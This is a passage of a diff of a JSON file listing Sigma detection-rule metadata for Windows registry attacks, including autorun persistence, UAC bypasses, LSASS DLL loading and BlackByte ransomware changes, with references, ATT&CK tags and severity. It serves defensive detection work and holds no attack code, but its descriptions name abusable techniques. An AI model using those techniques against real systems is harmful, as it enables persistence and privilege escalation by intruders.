"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.008", - "car.2014-11-003", - "car.2014-11-008" - ], - "creation_date": "2018/03/15", - "filename": "registry_event_stickykey_like_backdoor.yml", - "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'", - "uuid": "9577edbb-851f-4243-8c91-1d5b50c1a39b", - "value": "Atbroker Registry Change", - "meta": { - "refs": [ - "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", - "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.persistence", - "attack.t1547" - ], - "creation_date": "2020/10/13", - "filename": "registry_event_susp_atbroker_change.yml", - "author": "Mateusz Wydra, oscd.community", - "level": "medium", - "falsepositive": [ - "Creation of non-default, legitimate at usage" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories", - "uuid": "9c5037d1-c568-49b3-88c7-9846a5bdc2be", - "value": "Suspicious Run Key from Download", - "meta": { - "refs": [ - "https://app.any.run/tasks/c5bef5b7-f484-4c43-9cf3-d5c5c7839def/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/01", - "filename": "registry_event_susp_download_run_key.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Software installers downloaded and used by users" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects a method to load DLL via LSASS process using an undocumented Registry key", - "uuid": "b3503044-60ce-4bf4-bbcb-e3db98788823", - "value": "DLL Load via LSASS", - "meta": { - "refs": [ - "https://blog.xpnsec.com/exploring-mimikatz-part-1/", - "https://twitter.com/SBousseaden/status/1183745981189427200", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1547.008" - ], - "creation_date": "2019/10/16", - "filename": "registry_event_susp_lsass_dll_load.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects Processes accessing the camera and microphone from suspicious folder", - "uuid": "62120148-6b7a-42be-8b91-271c04e281a3", - "value": "Suspicious Camera and Microphone Access", - "meta": { - "refs": [ - "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml" - ], - "tags": [ - "attack.collection", - "attack.t1125", - "attack.t1123" - ], - "creation_date": "2020/06/07", - "filename": "registry_event_susp_mic_cam_access.yml", - "author": "Den Iuzvyk", - "level": "high", - "falsepositive": [ - "Unlikely, there could be conferencing software running from a Temp folder accessing the devices" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Alerts on trust record modification within the registry, indicating usage of macros", - "uuid": "295a59c1-7b79-4b47-a930-df12c15fc9c2", - "value": "Windows Registry Trust Record Modification", - "meta": { - "refs": [ - "https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/", - "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_trust_record_modification.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ], - "creation_date": "2020/02/19", - "filename": "registry_event_trust_record_modification.yml", - "author": "Antonlovesdnb", - "level": "medium", - "falsepositive": [ - "Alerts on legitimate macro usage as well, will need to filter as appropriate" - ], - "logsource.category": "registry_event", - "logsource.product": "windows" - } - }, - { - "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.\nThis binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run.\nThe problem is, it will run any arbitrary command without restriction of location or type.\n", - "uuid": "4e8d5fd3-c959-441f-a941-f73d0cdcdca5", - "value": "Abusing Windows Telemetry For Persistence", - "meta": { - "refs": [ - "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_abusing_windows_telemetry_for_persistence.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1112", - "attack.t1053" - ], - "creation_date": "2020/09/29", - "filename": "registry_set_abusing_windows_telemetry_for_persistence.yml", - "author": "Sreeman", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect modification for a specific user to prevent that user from being listed on the logon screen", - "uuid": "8a58209c-7ae6-4027-afb0-307a78e4589a", - "value": "User Account Hidden By Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_hidden_user.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.002" - ], - "creation_date": "2022/08/20", - "filename": "registry_set_add_hidden_user.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the modification of the registry to allow a driver or service to persist in Safe Mode.", - "uuid": "1547e27c-3974-43e2-a7d7-7f484fb928ec", - "value": "Registry Persitence via Service in Safe Mode", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ], - "creation_date": "2022/04/04", - "filename": "registry_set_add_load_service_in_safe_mode.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n", - "uuid": "944e8941-f6f6-4ee8-ac05-1c224e923c0e", - "value": "Add Port Monitor Persistence in Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.010/T1547.010.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_port_monitor.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.010" - ], - "creation_date": "2021/12/30", - "filename": "registry_set_add_port_monitor.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker adds a new \"Debugger\" value to the \"AeDebug\" key in order to achieve persistence which will get invoked when an application crashes", - "uuid": "092af964-4233-4373-b4ba-d86ea2890288", - "value": "Add Debugger Entry To AeDebug For Persistence", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/aedebug.html", - "https://docs.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aedebug_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_aedebug_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect enable rdp feature to allow specific user to rdp connect on the targeted machine", - "uuid": "37b437cf-3fc5-4c8e-9c94-1d7c9aff842b", - "value": "Allow RDP Remote Assistance Feature", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/08/19", - "filename": "registry_set_allow_rdp_remote_assistance_feature.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitmate use of the feature (alerts should be investigated either way)" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "9df5f547-c86a-433e-b533-f2794357e242", - "value": "Classes Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_classes.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "f59c3faf-50f3-464b-9f4c-1b67ab512d99", - "value": "Common Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://persistence-info.github.io/Data/userinitmprlogonscript.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_common.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "f674e36a-4b91-431e-8aef-f8a96c2aca35", - "value": "CurrentControlSet Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_currentcontrolset.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "20f0ee37-5942-4e45-b7d5-c5b5db9df5cd", - "value": "CurrentVersion Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - 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"uuid": "cbf93e5d-ca6c-4722-8bea-e9119007c248", - "value": "CurrentVersion NT Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_currentversion_nt.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "a80f662f-022f-4429-9b8c-b1a41aaa6688", - "value": "Internet Explorer Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_internet_explorer.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "baecf8fb-edbf-429f-9ade-31fc3f22b970", - "value": "Office Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_office.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "046218bd-e0d8-4113-a3c3-895a12b2b298", - "value": "Session Manager Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001", - "attack.t1546.009" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_session_manager.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "e7a2fd40-3ae1-4a85-bf80-15cf624fb1b1", - "value": "System Scripts Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_system_scripts.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "d6c2ce7e-afb5-4337-9ca4-4b5254ed0565", - "value": "WinSock2 Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_winsock2.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "b29aed60-ebd1-442b-9cb5-16a1d0324adb", - "value": "Wow6432Node CurrentVersion Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_wow6432node.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "18f2065c-d36c-464a-a748-bcf909acb2e3", - "value": "Wow6432Node Classes Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_wow6432node_classes.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of autostart extensibility point (ASEP) in registry.", - "uuid": "480421f9-417f-4d3b-9552-fd2728443ec8", - "value": "Wow6432Node CurrentVersion Autorun Keys Modification", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/10/25", - "filename": "registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml", - "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", - "Legitimate administrator sets up autorun keys for legitimate reason" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption", - "uuid": "83314318-052a-4c90-a1ad-660ece38d276", - "value": "Blackbyte Ransomware Registry", - "meta": { - "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/01/24", - "filename": "registry_set_blackbyte_ransomware.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Bypasses User Account Control using a fileless method", - "uuid": "46dd5308-4572-4d12-aa43-8938f0184d4f", - "value": "Bypass UAC Using DelegateExecute", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", - "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ], - "creation_date": "2022/01/05", - "filename": "registry_set_bypass_uac_using_delegateexecute.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification", - "uuid": "674202d0-b22a-4af4-ae5f-2eda1f3da1af", - "value": "Bypass UAC Using Event Viewer", - "meta": { - "refs": [ - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.010" - ], - "creation_date": "2022/01/05", - "filename": "registry_set_bypass_uac_using_eventviewer.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "There is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC", - "uuid": "724ea201-6514-4f38-9739-e5973c34f49a", - "value": "Bypass UAC Using SilentCleanup Task", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task", - "https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1548.002" - ], - "creation_date": "2022/01/06", - "filename": "registry_set_bypass_uac_using_silentcleanup_task.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Remote desktop is a common feature in operating systems.\nIt allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n", - "uuid": "509e84b9-a71a-40e0-834f-05470369bd1e", - "value": "Changing RDP Port to Non Standard Number", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.010" - ], - "creation_date": "2022/01/01", - "filename": "registry_set_change_rdp_port.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Hides the file extension through modification of the registry", - "uuid": "45e112d0-7759-4c2a-aa36-9f8fb79d3393", - "value": "IE Change Domain Zone", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", - "https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1137" - ], - "creation_date": "2022/01/22", - "filename": "registry_set_change_security_zones.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Administrative scripts" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.", - "uuid": "4916a35e-bfc4-47d0-8e25-a003d7067061", - "value": "Disable Sysmon Event Logging Via 